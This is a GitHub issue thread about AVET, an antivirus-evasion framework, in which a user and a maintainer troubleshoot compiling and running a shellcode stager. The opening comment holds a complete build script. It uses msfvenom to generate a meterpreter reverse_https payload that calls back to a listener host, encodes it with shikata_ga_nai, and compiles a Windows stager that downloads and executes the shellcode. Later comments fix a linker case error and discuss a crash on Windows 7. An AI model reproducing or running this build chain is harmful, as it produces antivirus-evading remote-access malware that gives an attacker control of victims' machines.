avet.c is not compiled
DumbA5h opened this issue · 3 comments
Hey below are the options I set
cat banner.txt
. build/global_win32.sh
. build/feature_construction.sh
. build/global_connect_config.sh
LPORT=443
LHOST=192.168.0.103
msfvenom -p windows/meterpreter/reverse_https lhost=$LHOST lport=$LPORT -e x86/shikata_ga_nai -b '\x00' -f raw -a x86 --platform Windows > output/thepayload.bin
set_command_source no_data
set_command_exec no_command
set_payload_source download_socket
set_decoder none
set_key_source no_data
set_payload_info_source no_data
set_payload_execution_method exec_shellcode
enable_debug_print
$win32_compiler -o output/output.exe source/avet.c -lwsock32 -lWs2_32
strip output/output.exe
cleanup_techniques
I have changed the compiler in "build/global_win32.sh" and set it to mingw cross compiler.
Hey,
could you please post your build/global_win32.sh, and the actual compiler error message?
I'm using mingw cross compiler.
When using python script it gives no error but doesn't compile, tried compiling by myself gives following error
i686-w64-mingw32-gcc -o output/output.exe source/avet.c -lwsock32 -lWs2_32
/usr/bin/i686-w64-mingw32-ld: cannot find -lWs2_32
collect2: error: ld returned 1 exit status
Can't figure out how to link the Ws2_32 library googled but cannot find solution
Ok just figured it out, as all headers and libraries in linux have lowercase letters (like windows.h and not Windows.h) Ws2_32 is also all lowercase(ws2_32) now will change it compile script to work properly.
UPDATE-
While running the compiled stager it is giving me buffer overflow exception.
The options are same as I mentioned in the first comment.
Target platform is Windows 7 Build 7600
Hi, did you call the .exe file with the correct parameter and was it possible to download the payload? Any output from debug?
If everything is correct, I also had problems with so payloads and just tried a different one.
BTW, I always had problems with the cross compiler, would love to hear some feedback about that.